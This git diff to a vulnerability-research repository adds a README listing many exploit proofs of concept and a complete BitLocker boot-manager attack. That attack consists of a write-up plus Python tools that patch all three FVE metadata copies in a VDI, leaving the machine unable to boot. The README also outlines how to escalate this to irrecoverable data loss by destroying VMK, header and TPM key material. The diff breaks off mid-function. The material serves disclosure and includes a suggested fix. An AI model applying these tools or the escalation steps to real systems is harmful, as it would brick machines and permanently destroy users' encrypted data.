diff --git a/README.md b/README.md index 48710b3..16e7c5d 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,14 @@ +https://discord.gg/WytKH65ZR join up for research, help, documentation, and more useful information for those interested. + +# News/Contact + +Credit for the objdump finding goes to someone who beat me to it (and has a better PoC): https://github.com/4D4J/objdump-Out-Of-Bounds-write + +New drops today ;) Biggest thing yet (DELAYED, I PROMISE THE WAIT WILL BE WORTH IT! After this, you guys will *usually* get one new PoC a day) + +I've also noticed a surprising amount of "security researchers" aren't able to adjust the PoC to work in their environment. I will broaden the PoCs for those select few... + +If you wish to collaborate/discuss with me, contact me on discord @ashdfrkl # Statement This repo was incomplete when published. @@ -22,6 +33,37 @@ A consolidated archive of my public proof-of-concept and vulnerability research Most folders contain one of my former standalone PoC repos, preserved with its original README and tracked files. New research entries are added directly here as self-contained folders. +## Contributed Research (by [Unrealisedd](https://github.com/Unrealisedd)) + +The following entries were contributed via PR: + +| Folder | Description | +| --- | --- | +| `openvpn-UAF-BYOVD` | ovpn-dco-win kernel driver CNG key UAF + crash PoC | +| `storsvc-dll-hijack-lpe` | StorSvc `LoadLibraryW("SprintCSP.dll")` without `LOAD_LIBRARY_SEARCH_SYSTEM32` | +| `dam-sys-kernel-bugs` | dam.sys: 3 kernel bugs from standard user (BSOD + confused deputy + Defender freeze) | +| `seb-service-auth-bypass-lpe` | Safe Exam Browser SYSTEM service auth bypass → RCE as SYSTEM via log injection | +| `defender-signature-lock-bypass` | CVE-2026-45498 patch bypass: `FILE_SHARE_READ` locks Defender signatures | +| `discord` | Discord Desktop RCE attack paths | +| `wazuh` | Wazuh stack BOF + SCA DoS | +| `nextcloud` | XXE file read/SSRF + SSRF protection bypass | +| `n8n-ssrf-via-oauth2` | SSRF via OAuth2 callback in n8n | +| `fluentbit-infinite-dos` | Fluent Bit collectd parser unauth DoS loop | +| `librenms-RCE-chain` | LibreNMS SSTI to RCE chain | +| `overwolf-updater-lpe-poc` | Overwolf Updater forged Authenticode cert + insecure service DACL → SYSTEM LPE | +| `spacedesk-service-lpe-poc` | spacedesk service Everyone full-control DACL → SYSTEM in 3 commands | +| `woodpecker-yaml-cr-injection` | Woodpecker CI pipeline RCE via `\r` YAML injection bypass | +| `retroarch-chd-map-heap-overflow` | RetroArch libchdr integer overflow → heap OOB write on 32-bit | +| `defender-ntlm-coercion-poc` | Windows Defender NTLM coercion: standard user forces SYSTEM credential leak via UNC scan | +| `‎keep-provider-invoke-unauth-rce-poc` | Unauthenticated RCE chain in the keep monitoring system | +| `mysql-router-mrs-oauth-cached-name-ato-poc` | MySQL Router MRS OAuth display-name cache collision → account takeover (CVSS 9.1) | +| `firefox-cert-override-sandbox-escape-poc` | Firefox IPC sandbox escape: unvalidated `AddCertException` → silent MITM on arbitrary hostnames | +| `mosquitto-builtin-websocket-preauth-rce-poc` | Eclipse Mosquitto built-in WebSocket pre-auth RCE via empty-frame heap overwrite (v2.1.0-v2.1.2) | +| `paho-mqtt-websocket-queued-frame-uaf-poc` | Paho MQTT C WebSocket queued-frame UAF: ASan UAF + allocator overlap + marker PC transfer | +| `nanomq-rule-republish-cjson-uaf-poc` | NanoMQ rule republish cJSON UAF/double-free: 5/5 ASan + 5/5 release crash | +| `samba-dns-mx-forwarder-talloc-uaf-poc` | Samba internal DNS forwarded MX talloc parent UAF: one-record ASan + two-record deterministic abort | +| `bitlocker-bootmgfw-type15-oob-dos` | bootmgfw.efi type-0x15 collector/selector count mismatch: persistent boot DoS + escalation to irrecoverable data loss | + ## Contents | Folder | Source | Tracked entries | @@ -30,6 +72,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `anydesk-printer-com-impersonation-poc` | `7491303301093b2d40bee9dadf6b38f757ce78e0` | 4 | | `c-ares-tcp-uaf-calc-poc` | direct entry, June 24, 2026 | 7 | | `curl-smtp-expn-recipient-crlf-injection` | direct entry, July 1, 2026 | 3 | +| `defender-ntlm-coercion-poc` | direct entry, July 6, 2026 | 3 | | `discord-activity-stock-client-rce-poc` | direct entry, July 14, 2026 | 8 | | `discourse-scoped-api-key-preauth-bypass` | direct entry, July 3, 2026 | 3 | | `docker-cp-copyout-destination-escape` | `d1367b1381736d7f961ac808ce88d4e24a633adc` | 5 | @@ -64,6 +107,13 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `redis-vset-duplicate-hnsw-id-rce-poc` | direct entry, July 3, 2026 | 3 | | `rustdesk-session-permission-pocs` | direct entry, June 25, 2026 | 17 | | `systeminformer-phsvc-trusted-host-lpe-poc` | direct entry, June 24, 2026 | 3 | +| `firefox-cert-override-sandbox-escape-poc` | direct entry, August 10, 2026 | 1 | +| `mysql-router-mrs-oauth-cached-name-ato-poc` | direct entry, August 10, 2026 | 7 | +| `mosquitto-builtin-websocket-preauth-rce-poc` | direct entry, August 13, 2026 | 6 | +| `nanomq-rule-republish-cjson-uaf-poc` | direct entry, August 20, 2026 | 4 | +| `paho-mqtt-websocket-queued-frame-uaf-poc` | direct entry, August 21, 2026 | 7 | +| `samba-dns-mx-forwarder-talloc-uaf-poc` | direct entry, August 21, 2026 | 4 | +| `bitlocker-bootmgfw-type15-oob-dos` | direct entry, August 21, 2026 | 4 | | `vlc-vp9-reschange-crash-poc` | `fae72b82f24d03cf2fb9cb55fbb2e7774f684ff3` | 3 | ## Consolidation Check diff --git a/bitlocker-bootmgfw-type15-oob-dos/README.md b/bitlocker-bootmgfw-type15-oob-dos/README.md new file mode 100644 index 0000000..242d3a7 --- /dev/null +++ b/bitlocker-bootmgfw-type15-oob-dos/README.md @@ -0,0 +1,155 @@ +# Persistent Boot DoS in bootmgfw.efi via FVE Metadata Count Mismatch + +## Summary + +The Windows Boot Manager (`bootmgfw.efi`) contains a count/capacity mismatch in the function that collects type-0x15 child datums from a BitLocker recovery-password VMK. The collector iterates all matching children and reports the total count, but only stores up to five pointers in a fixed-size stack array. Its caller trusts the reported count without bounds-checking and reads one slot past the end of the array when six children are present, landing on the stack cookie. The cookie is dereferenced as a datum pointer, causing a fault on unmapped memory. + +Because the malformed metadata lives on disk, the crash happens on every boot attempt. The machine becomes unbootable until the FVE metadata is manually repaired from external recovery media. + +## Affected Component + +| Field | Value | +|-------|-------| +| Binary | `bootmgfw.efi` | +| Tested build | SHA256 `490d08f9...3d857274` | +| Collector function | RVA `0x1ff6b4` | +| Selector function | RVA `0x1ffaa8` | +| Vulnerable instruction | RVA `0x1ffbda` (read of `[RCX+0x18]` where RCX = cookie) | + +## Root Cause + +Two functions work together to find type-0x15 children inside the recovery-password VMK datum. I'm calling them the **collector** and the **selector** based on their roles. + +### The collector (RVA 0x1ff6b4) + +This function walks the VMK's child datums looking for type-0x15 entries. It has a local array of 5 `qword` pointers on the stack and a counter (`BP`) that starts at zero. For each matching child: + +```asm +; At 0x1ff7b3 inside the collector +CMP BP, 0x5 ; is the counter below the array size? +JNC skip_store ; if >= 5, don't store the pointer +MOVZX EAX, BP +MOV [R12 + RAX*8], RDI ; store pointer at array[counter] +skip_store: +INC BP ; always increment -- even when we skipped the store +``` + +When it returns, the counter holds the *actual* number of type-0x15 children found (e.g. 6), but the array only holds the first five pointers. The function writes the counter to an output parameter and returns success. + +### The selector (RVA 0x1ffaa8) + +The selector calls the collector, then loops over the returned count to process each pointer: + +```asm +; The selector's loop starting around 0x1ffb78 +INC R13D ; increment loop counter +... +MOV RCX, [RBX] ; load pointer from array[i] +... +MOVZX EAX, word ptr [RCX+0x18] ; dereference it as a datum -- reads type field ← CRASH +ADD RBX, 8 ; advance to next slot +``` + +On the sixth iteration, `RBX` points past the array into the stack cookie slot. The cookie value gets loaded into `RCX` and dereferenced as a datum pointer, faulting on unmapped memory. + +> **The gap:** The collector bounds-checks the *store* but not the *count*. The selector trusts the count without checking it against the array capacity. Neither function is wrong in isolation -- the bug is in the contract between them. + +## Trigger + +An attacker modifies the on-disk FVE metadata to add a sixth type-0x15 child datum to the recovery-password VMK. BitLocker stores three redundant copies of its metadata, so all three need to be patched for the change to survive validation. + +The type-0x15 datum is a 28-byte (0x1C) structure. Inserting one requires: + +- Appending the datum to the VMK's child list +- Updating the VMK datum size field +- Updating the dataset size and end fields +- Updating the information block size field +- Recalculating the validation area CRC32 + +This is a structurally valid mutation -- the metadata passes all format validation checks. The only thing wrong with it is that there are six children instead of the expected five-or-fewer. + +## Attack Scenario + +1. Attacker gains raw disk write access to a BitLocker-encrypted volume (physical access via USB boot, or local admin / raw volume access on a running system) +2. Attacker locates the three FVE metadata copies (they start with the signature `-FVE-FS-` and are at fixed offsets) +3. Attacker inserts a sixth type-0x15 child into the recovery-password VMK in each copy and fixes up the size/CRC fields +4. On next boot, `bootmgfw.efi` parses the metadata, the collector reports count=6, the selector reads past the array, and the boot manager crashes +5. Every subsequent boot attempt hits the same crash -- the machine is bricked until the metadata is repaired from external recovery media + +## Impact + +**Primary: persistent denial of service.** The system is unbootable. The crash happens before the BitLocker recovery prompt, so even entering a valid recovery key is impossible. The user cannot self-recover without external tools and knowledge of the FVE metadata format. + +**Secondary: data loss through metadata destruction.** The encrypted volume data itself is intact after the basic trigger, but a typical user encountering a persistent boot loop on an encrypted machine is likely to conclude the data is unrecoverable and reformat -- that alone makes this a practical data-loss vector. + +With some additional work, this can be escalated to complete, irrecoverable data loss: + +- **Corrupt all three FVE metadata headers.** BitLocker stores three redundant copies of its metadata. The basic PoC already patches all three to trigger the crash. If the attacker goes further and zeroes or corrupts the metadata header signatures (`-FVE-FS-`) across all three copies, the volume becomes unrecognizable as a BitLocker volume entirely. Recovery tools like `manage-bde` or `repair-bde` rely on at least one intact metadata copy to locate the VMK and decrypt the volume. With all three gone, the volume is just raw encrypted bytes with no key material on disk. + +- **Destroy the recovery-password VMK itself.** Even if the victim saved an external recovery key (the 48-digit numerical password), that key is useless without the corresponding VMK datum to unwrap. The recovery key doesn't decrypt the volume directly -- it unwraps the VMK, which in turn holds the FVEK (Full Volume Encryption Key) that actually decrypts the data. If the attacker overwrites or zeroes the VMK datum contents inside the FVE metadata (not just the type-0x15 children but the VMK's key material itself), the chain breaks: recovery key -> VMK -> FVEK -> data. No VMK means the recovery key has nothing to unwrap, and the FVEK is never recoverable. + +- **Wipe the TPM protector.** If the machine uses TPM-based unlock (which most BitLocker deployments do), the TPM-sealed VMK protector is another path to the FVEK. Corrupting or zeroing the TPM protector datum in addition to the recovery VMK eliminates this fallback too. + +The result: even a victim who diligently saved their recovery key to a USB drive or printed it out cannot recover the volume. Every path from key material to FVEK is severed. The data is cryptographically intact on disk but permanently inaccessible -- effectively destroyed. + +All of this requires the same level of access as the basic DoS (raw disk writes to a powered-off volume), and the same patching approach (locate FVE metadata, modify datums, fix up sizes and CRCs). The PoC's existing `build_type15_overcount.py` library already knows how to parse and modify the FVE structure at this level. + +## Emulation Evidence + +I emulated the exact `bootmgfw.efi` collector and selector code using Unicorn Engine with six type-0x15 children. The surrounding functions (iterator, extractor, validator, allocator, free) are stubbed at their call boundaries. + +| Iteration | Slot address | Value loaded | Source | +|-----------|-------------|-------------|--------| +| 0 | `0x701fdf58` | `0x60002000` | array[0] -- valid | +| 1 | `0x701fdf60` | `0x60002100` | array[1] -- valid | +| 2 | `0x701fdf68` | `0x60002200` | array[2] -- valid | +| 3 | `0x701fdf70` | `0x60002300` | array[3] -- valid | +| 4 | `0x701fdf78` | `0x60002400` | array[4] -- valid | +| 5 | `0x701fdf80` | `0x2b995dc07d32` | **stack cookie** | + +On iteration 5, the slot address (`0x701fdf80`) matches `RBP - 0x19`, which is where the `/GS` stack cookie is stored. The cookie value `0x2b995dc07d32` is loaded and dereferenced as a datum pointer. The read at `cookie + 0x18` = `0x2b995dc07d4a` faults with `UC_ERR_READ_UNMAPPED`. + +## Reproduction + +### Prerequisites + +- A VirtualBox VM with a BitLocker-encrypted Windows installation (powered off) +- Python 3.10+ with `pefile` installed + +### Quick path -- patch only + +```bash +# Clone the VM disk to a standalone VDI first +VBoxManage clonemedium disk target.vdi --format VDI + +# Dry run -- shows what would change +python poc_patch_fve.py target.vdi + +# Apply the patch +python poc_patch_fve.py target.vdi --apply --output evidence.json + +# Boot the VM -- observe crash +``` + +## Suggested Fix + +Either cap the reported count to the array capacity in the collector, or have the selector bounds-check the count before iterating. The simplest fix in the collector: + +```asm +; After the iteration loop, before writing the count to the output parameter: +CMP BP, 0x5 +JBE count_ok +MOV BP, 0x5 ; clamp to array capacity +count_ok: +MOV [R15], BP +``` + +--- + +## Files Included + +| File | Description | +|------|-------------| +| `poc_patch_fve.py` | Standalone PoC -- patches a VDI with 6 type-0x15 children | +| `build_type15_overcount.py` | Low-level FVE metadata mutation library | +| `vdi_type15_overcount.py` | VDI image I/O and patch orchestration | diff --git a/bitlocker-bootmgfw-type15-oob-dos/build_type15_overcount.py b/bitlocker-bootmgfw-type15-oob-dos/build_type15_overcount.py new file mode 100644 index 0000000..c1722c7 --- /dev/null +++ b/bitlocker-bootmgfw-type15-oob-dos/build_type15_overcount.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python3 +"""Build a disposable BitLocker image that exercises the type-0x15 count bug. + +The output is for an isolated VM only. It never touches a mounted disk. +""" + +from __future__ import annotations + +import argparse +import struct +import zlib +from pathlib import Path + +SIGNATURE = b"-FVE-FS-" +INFO_HEADER_SIZE = 0x40 +DATASET_HEADER_SIZE = 0x30 +RECOVERY_PASSWORD_PRIORITY = 0x0800 +BACKUP_INFO = bytes.fromhex( + "1c00000015000100" + "0100000000000000" + "0000000000000000" + "01000000" +) +RECORD_COUNT = 6 + + +def u16(buf: bytes | bytearray, offset: int) -> int: + return struct.unpack_from(" int: + return struct.unpack_from(" dict[str, int]: + if record_count is None: + record_count = RECORD_COUNT + if not 1 <= record_count <= 0xFFFF: + raise ValueError(f"record count must be in 1..65535, got {record_count}") + + if image[offset : offset + 8] != SIGNATURE: + raise ValueError(f"0x{offset:x}: missing information signature") + + version = u16(image, offset + 0x0A) + if version != 2: + raise ValueError(f"0x{offset:x}: expected version 2, got {version}") + + old_info_size = u16(image, offset + 0x08) << 4 + old_info = bytearray(image[offset : offset + old_info_size]) + dataset = INFO_HEADER_SIZE + dataset_size = u32(old_info, dataset) + dataset_start = u32(old_info, dataset + 0x08) + dataset_end = u32(old_info, dataset + 0x0C) + if dataset_size != dataset_end or dataset_start < DATASET_HEADER_SIZE: + raise ValueError( + f"0x{offset:x}: unsupported dataset layout " + f"size=0x{dataset_size:x} start=0x{dataset_start:x} end=0x{dataset_end:x}" + ) + if dataset + dataset_end > old_info_size: + raise ValueError(f"0x{offset:x}: dataset exceeds information block") + + cursor = dataset + dataset_start + end = dataset + dataset_end + recovery_vmk = None + while cursor < end: + if end - cursor < 8: + raise ValueError(f"0x{offset:x}: truncated top-level datum") + datum_size, role, value_type, flags = struct.unpack_from(" end: + raise ValueError( + f"0x{offset:x}: invalid datum size 0x{datum_size:x} at +0x{cursor:x}" + ) + if role == 2 and value_type == 8 and datum_size >= 0x24: + priority = u16(old_info, cursor + 0x22) + if priority == RECOVERY_PASSWORD_PRIORITY: + if recovery_vmk is not None: + raise ValueError(f"0x{offset:x}: multiple recovery VMKs") + recovery_vmk = (cursor, datum_size) + cursor += datum_size + if cursor != end: + raise ValueError(f"0x{offset:x}: dataset does not end on a datum boundary") + if recovery_vmk is None: + raise ValueError(f"0x{offset:x}: no recovery-password VMK") + + vmk_offset, old_vmk_size = recovery_vmk + insertion = vmk_offset + old_vmk_size + extra = BACKUP_INFO * record_count + new_vmk_size = old_vmk_size + len(extra) + new_dataset_size = dataset_size + len(extra) + if new_vmk_size > 0xFFFF: + raise ValueError("VMK datum size exceeds u16") + + logical = bytearray(old_info[:insertion]) + logical.extend(extra) + logical.extend(old_info[insertion : dataset + dataset_end]) + struct.pack_into("> 4) + + old_validation_size = u16(image, offset + old_info_size) + total_block_size = old_info_size + old_validation_size + if total_block_size == 0 or total_block_size & (total_block_size - 1): + raise ValueError(f"0x{offset:x}: metadata block size is not a power of two") + new_validation_size = total_block_size - new_info_size + if not 0x10 <= new_validation_size <= 0xFFFF: + raise ValueError(f"0x{offset:x}: invalid resized validation area") + + old_validation = bytearray( + image[offset + old_info_size : offset + total_block_size] + ) + removed_tail = old_validation[new_validation_size:] + if any(removed_tail): + raise ValueError(f"0x{offset:x}: refusing to truncate nonzero validation bytes") + new_validation = old_validation[:new_validation_size] + struct.pack_into(" None: + parser = argparse.ArgumentParser() + parser.add_argument("input", type=Path) + parser.add_argument("output", type=Path) + parser.add_argument("--record-count", type=int, default=RECORD_COUNT) + args = parser.parse_args() + + source = args.input.read_bytes() + image = bytearray(source) + offsets = [] + start = 0 + while True: + found = source.find(SIGNATURE, start) + if found < 0: + break + offsets.append(found) + start = found + 1 + + if not offsets: + raise SystemExit("No BitLocker information blocks found") + + results = [ + patch_information_block(image, offset, args.record_count) + for offset in offsets + ] + args.output.write_bytes(image) + + print(f"input={args.input} bytes={len(source)}") + print(f"output={args.output} bytes={len(image)}") + for result in results: + print( + "patched " + + " ".join( + f"{key}=0x{value:x}" if key != "record_count" else f"{key}={value}" + for key, value in result.items() + ) + ) + + +if __name__ == "__main__": + main() diff --git a/bitlocker-bootmgfw-type15-oob-dos/poc_patch_fve.py b/bitlocker-bootmgfw-type15-oob-dos/poc_patch_fve.py new file mode 100644 index 0000000..b86da64 --- /dev/null +++ b/bitlocker-bootmgfw-type15-oob-dos/poc_patch_fve.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python3 +"""PoC: BitLocker boot manager DoS via type-0x15 count/capacity mismatch. + +Patches the three FVE metadata copies in a VDI to contain six type-0x15 +children in the recovery-password VMK. bootmgfw.efi's collector retains +five pointers but reports the true count; the selector trusts that count +and reads one slot past the array into the stack cookie, crashing the +boot manager on every boot attempt. + +Usage: + python poc_patch_fve.py # dry-run (no writes) + python poc_patch_fve.py --apply # patch in place + +Only operates on powered-off, flattened VDI files. Never run on a host +boot disk — use a VM clone. +""" + +from __future__ import annotations + +import argparse +import json +import sys +from pathlib import Path + +import build_type15_overcount as builder +import vdi_type15_overcount as vdi + +TARGET_COUNT = 6 +EXPECTED_COPIES = 3 + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Patch BitLocker FVE metadata to trigger bootmgfw OOB read" + ) + parser.add_argument("image", type=Path, help="powered-off flattened VDI") + parser.add_argument( + "--apply", action="store_true", + help="write patches (without this flag, dry-run only)" + ) + parser.add_argument("--output", type=Path, help="write JSON evidence to file") + args = parser.parse_args() + + if not args.image.exists(): + print(f"error: {args.image} not found", file=sys.stderr) + return 1 + + mode = "APPLYING" if args.apply else "DRY RUN" + print(f"[*] {mode}: patching {args.image}") + print(f"[*] target type-0x15 count: {TARGET_COUNT} (capacity: 5)") + + with vdi.VdiImage(args.image, writable=args.apply) as image: + info_blocks = image.information_blocks() + if len(info_blocks) != EXPECTED_COPIES: + print( + f"error: expected {EXPECTED_COPIES} FVE metadata copies, " + f"found {len(info_blocks)}", + file=sys.stderr, + ) + return 1 + + print(f"[+] found {len(info_blocks)} FVE metadata copies") + + patches = vdi.build_patches(image, TARGET_COUNT, EXPECTED_COPIES) + + if args.apply: + for patch in patches: + offset = int(patch["disk_offset"]) + image.write(offset, patch["data"]) + print(f"[+] patched metadata at disk offset 0x{offset:x}") + image.flush() + + for patch in patches: + offset = int(patch["disk_offset"]) + written = image.read(offset, int(patch["block_size"])) + count = len(vdi.recovery_type15_children(written)) + if count != TARGET_COUNT: + print(f"error: verify failed at 0x{offset:x}", file=sys.stderr) + return 1 + print(f"[+] verified all {EXPECTED_COPIES} copies") + else: + for patch in patches: + offset = int(patch["disk_offset"]) + print( + f"[*] would patch metadata at 0x{offset:x}: " + f"{patch['existing_type15_count']} -> {TARGET_COUNT} children" + ) + print(f"\n[!] dry run — pass --apply to write") + + if args.output: + evidence = { + "image": str(args.image), + "mode": "applied" if args.apply else "dry-run", + "target_count": TARGET_COUNT, + "array_capacity": 5, + "metadata_copies": EXPECTED_COPIES, + "patches": [vdi.serializable_patch(p) for p in patches], + "bug": ( + "collector at RVA 0x1ff6b4 stores min(count,5) pointers " + "but reports actual count; selector at RVA 0x1ffaa8 reads " + "array[count-1] which for count=6 is the stack cookie" + ), + "impact": "persistent boot DoS — bootmgfw crashes before recovery prompt", + } + args.output.write_text(json.dumps(evidence, indent=2) + "\n") + print(f"[+] evidence written to {args.output}") + + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/bitlocker-bootmgfw-type15-oob-dos/vdi_type15_overcount.py b/bitlocker-bootmgfw-type15-oob-dos/vdi_type15_overcount.py new file mode 100644 index 0000000..8e3b33b --- /dev/null +++ b/bitlocker-bootmgfw-type15-oob-dos/vdi_type15_overcount.py @@ -0,0 +1,428 @@ +#!/usr/bin/env python3 +"""Patch a standalone VDI to exercise bootmgfw's type-0x15 count mismatch. + +The boot manager collector retains five pointers but reports every matching +child. Its caller trusts the reported count. A target count of five is the +live control; six makes the caller read its adjacent stack-cookie slot as a +sixth pointer. + +Only powered-off, flattened VDI images are accepted. The script discovers and +patches every BitLocker information-block copy in-place only with --apply. +""" + +from __future__ import annotations + +import argparse +import hashlib +import json +import os +import struct +import uuid +from dataclasses import dataclass +from pathlib import Path +from typing import BinaryIO + +import build_type15_overcount as builder + +VDI_SIGNATURE = 0xBEDA107F +VDI_VERSION_1_1 = 0x00010001 +VDI_TYPE_DYNAMIC = 1 +VDI_TYPE_STATIC = 2 +VDI_UNALLOCATED = 0xFFFFFFFF +VDI_DISCARDED = 0xFFFFFFFE +SECTOR_SIZE = 512 +BITLOCKER_SIGNATURE = b"-FVE-FS-" +RECOVERY_VMK_MIN_SIZE = 0x24 + + +def u16(buf: bytes | bytearray, offset: int) -> int: + return struct.unpack_from(" int: + return struct.unpack_from(" str: + return hashlib.sha256(data).hexdigest() + + +def uuid_text(raw: bytes) -> str: + if raw == bytes(16): + return str(uuid.UUID(int=0)) + return str(uuid.UUID(bytes_le=raw)) + + +@dataclass(frozen=True) +class VdiHeader: + version: int + image_type: int + offset_bmap: int + offset_data: int + sector_size: int + disk_size: int + block_size: int + block_extra: int + blocks_in_image: int + blocks_allocated: int + uuid_image: bytes + uuid_link: bytes + uuid_parent: bytes + + @classmethod + def parse(cls, raw: bytes) -> "VdiHeader": + if len(raw) != 512: + raise ValueError(f"short VDI header: {len(raw)} bytes") + signature = u32(raw, 0x40) + if signature != VDI_SIGNATURE: + raise ValueError(f"not a VDI image: signature 0x{signature:08x}") + header = cls( + version=u32(raw, 0x44), + image_type=u32(raw, 0x4C), + offset_bmap=u32(raw, 0x154), + offset_data=u32(raw, 0x158), + sector_size=u32(raw, 0x168), + disk_size=struct.unpack_from(" header.blocks_in_image * header.block_size: + raise ValueError("VDI block map is smaller than the virtual disk") + if header.uuid_parent != bytes(16): + raise ValueError( + "refusing a differencing VDI; flatten it with VBoxManage clonemedium first" + ) + return header + + def as_dict(self) -> dict[str, int | str]: + return { + "version": f"0x{self.version:08x}", + "image_type": self.image_type, + "offset_bmap": self.offset_bmap, + "offset_data": self.offset_data, + "sector_size": self.sector_size, + "disk_size": self.disk_size, + "block_size": self.block_size, + "blocks_in_image": self.blocks_in_image, + "blocks_allocated": self.blocks_allocated, + "uuid_image": uuid_text(self.uuid_image), + "uuid_link": uuid_text(self.uuid_link), + "uuid_parent": uuid_text(self.uuid_parent), + } + + +class VdiImage: + def __init__(self, path: Path, writable: bool) -> None: + self.path = path.resolve() + self.writable = writable + self.file: BinaryIO = self.path.open("r+b" if writable else "rb") + self.header = VdiHeader.parse(self.file.read(512)) + self.file.seek(self.header.offset_bmap) + raw_map = self.file.read(self.header.blocks_in_image * 4) + if len(raw_map) != self.header.blocks_in_image * 4: + raise ValueError("truncated VDI block map") + self.block_map = list( + struct.unpack(f"<{self.header.blocks_in_image}I", raw_map) + ) + actual_allocated = sum(entry < VDI_DISCARDED for entry in self.block_map) + if actual_allocated != self.header.blocks_allocated: + raise ValueError( + "VDI allocated-block mismatch: " + f"header={self.header.blocks_allocated} map={actual_allocated}" + ) + + def __enter__(self) -> "VdiImage": + return self + + def __exit__(self, exc_type, exc, traceback) -> None: + self.file.close() + + def _file_offset(self, virtual_offset: int) -> int | None: + if not 0 <= virtual_offset < self.header.disk_size: + raise ValueError(f"virtual offset outside disk: 0x{virtual_offset:x}") + block_index, within = divmod(virtual_offset, self.header.block_size) + entry = self.block_map[block_index] + if entry >= VDI_DISCARDED: + return None + if entry >= self.header.blocks_allocated: + raise ValueError( + f"invalid block-map entry {entry} for virtual block {block_index}" + ) + return self.header.offset_data + entry * self.header.block_size + within + + def read(self, virtual_offset: int, length: int) -> bytes: + if length < 0 or virtual_offset + length > self.header.disk_size: + raise ValueError("virtual read outside disk") + chunks: list[bytes] = [] + remaining = length + while remaining: + within = virtual_offset % self.header.block_size + count = min(remaining, self.header.block_size - within) + physical = self._file_offset(virtual_offset) + if physical is None: + chunks.append(bytes(count)) + else: + self.file.seek(physical) + chunk = self.file.read(count) + if len(chunk) != count: + raise ValueError(f"short VDI data read at 0x{physical:x}") + chunks.append(chunk) + virtual_offset += count + remaining -= count + return b"".join(chunks) + + def write(self, virtual_offset: int, data: bytes | bytearray) -> None: + if not self.writable: + raise ValueError("VDI was opened read-only") + if virtual_offset + len(data) > self.header.disk_size: + raise ValueError("virtual write outside disk") + view = memoryview(data) + remaining = len(data) + consumed = 0 + while remaining: + within = virtual_offset % self.header.block_size + count = min(remaining, self.header.block_size - within) + physical = self._file_offset(virtual_offset) + if physical is None: + raise ValueError( + f"refusing to allocate VDI block for write at 0x{virtual_offset:x}" + ) + self.file.seek(physical) + written = self.file.write(view[consumed : consumed + count]) + if written != count: + raise OSError(f"short VDI data write at 0x{physical:x}") + virtual_offset += count + consumed += count + remaining -= count + + def flush(self) -> None: + self.file.flush() + os.fsync(self.file.fileno()) + + def signature_offsets(self) -> list[int]: + offsets: list[int] = [] + previous_virtual_block: int | None = None + tail = b"" + for virtual_block, entry in enumerate(self.block_map): + if entry >= VDI_DISCARDED: + previous_virtual_block = None + tail = b"" + continue + physical = self.header.offset_data + entry * self.header.block_size + self.file.seek(physical) + data = self.file.read(self.header.block_size) + if len(data) != self.header.block_size: + raise ValueError(f"short allocated block at 0x{physical:x}") + contiguous = ( + previous_virtual_block is not None + and virtual_block == previous_virtual_block + 1 + ) + prefix = tail if contiguous else b"" + combined = prefix + data + base = virtual_block * self.header.block_size - len(prefix) + start = 0 + while True: + found = combined.find(BITLOCKER_SIGNATURE, start) + if found < 0: + break + offsets.append(base + found) + start = found + 1 + tail = data[-(len(BITLOCKER_SIGNATURE) - 1) :] + previous_virtual_block = virtual_block + return sorted(set(offsets)) + + def information_blocks(self) -> list[tuple[int, bytes]]: + blocks: list[tuple[int, bytes]] = [] + for offset in self.signature_offsets(): + header = self.read(offset, builder.INFO_HEADER_SIZE) + if header[:8] != BITLOCKER_SIGNATURE or u16(header, 0x0A) != 2: + continue + info_size = u16(header, 0x08) << 4 + if not builder.INFO_HEADER_SIZE <= info_size <= self.header.block_size: + continue + validation_head = self.read(offset + info_size, 8) + validation_size = u16(validation_head, 0) + total_size = info_size + validation_size + if ( + total_size == 0 + or total_size & (total_size - 1) + or total_size > self.header.block_size + ): + continue + blocks.append((offset, self.read(offset, total_size))) + return blocks + + +def recovery_type15_children(block: bytes | bytearray) -> list[int]: + if block[:8] != BITLOCKER_SIGNATURE: + raise ValueError("metadata block lacks BitLocker signature") + info_size = u16(block, 0x08) << 4 + dataset = builder.INFO_HEADER_SIZE + dataset_size = u32(block, dataset) + dataset_start = u32(block, dataset + 0x08) + dataset_end = u32(block, dataset + 0x0C) + if dataset_size != dataset_end: + raise ValueError("unsupported BitLocker dataset size/end mismatch") + if dataset_start < builder.DATASET_HEADER_SIZE: + raise ValueError("invalid BitLocker dataset start") + if dataset + dataset_end > info_size: + raise ValueError("BitLocker dataset exceeds information area") + + recovery_vmk: tuple[int, int] | None = None + cursor = dataset + dataset_start + end = dataset + dataset_end + while cursor < end: + if end - cursor < 8: + raise ValueError("truncated top-level datum") + datum_size, role, value_type = struct.unpack_from(" end: + raise ValueError(f"invalid top-level datum at +0x{cursor:x}") + if ( + role == 2 + and value_type == 8 + and datum_size >= RECOVERY_VMK_MIN_SIZE + and u16(block, cursor + 0x22) == builder.RECOVERY_PASSWORD_PRIORITY + ): + if recovery_vmk is not None: + raise ValueError("multiple recovery-password VMKs") + recovery_vmk = (cursor, datum_size) + cursor += datum_size + if cursor != end: + raise ValueError("dataset does not end on a datum boundary") + if recovery_vmk is None: + raise ValueError("no recovery-password VMK") + + vmk_offset, vmk_size = recovery_vmk + child = vmk_offset + RECOVERY_VMK_MIN_SIZE + vmk_end = vmk_offset + vmk_size + matches: list[int] = [] + while child < vmk_end: + if vmk_end - child < 8: + raise ValueError("truncated recovery VMK child") + child_size = u16(block, child) + if child_size < 8 or child + child_size > vmk_end: + raise ValueError(f"invalid recovery VMK child at +0x{child:x}") + if u16(block, child + 4) == 0x15: + matches.append(child) + child += child_size + if child != vmk_end: + raise ValueError("recovery VMK does not end on a child boundary") + return matches + + +def build_patches( + image: VdiImage, target_count: int, expected_copies: int +) -> list[dict[str, object]]: + information_blocks = image.information_blocks() + if len(information_blocks) != expected_copies: + raise ValueError( + f"expected {expected_copies} BitLocker metadata copies, " + f"found {len(information_blocks)}" + ) + + patches: list[dict[str, object]] = [] + for disk_offset, original in information_blocks: + existing = len(recovery_type15_children(original)) + if existing > target_count: + raise ValueError( + f"metadata at 0x{disk_offset:x} already has {existing} type-0x15 " + f"children, above target {target_count}" + ) + add_count = target_count - existing + modified = bytearray(original) + patch_detail: dict[str, int] | None = None + if add_count: + patch_detail = builder.patch_information_block(modified, 0, add_count) + final_count = len(recovery_type15_children(modified)) + if final_count != target_count: + 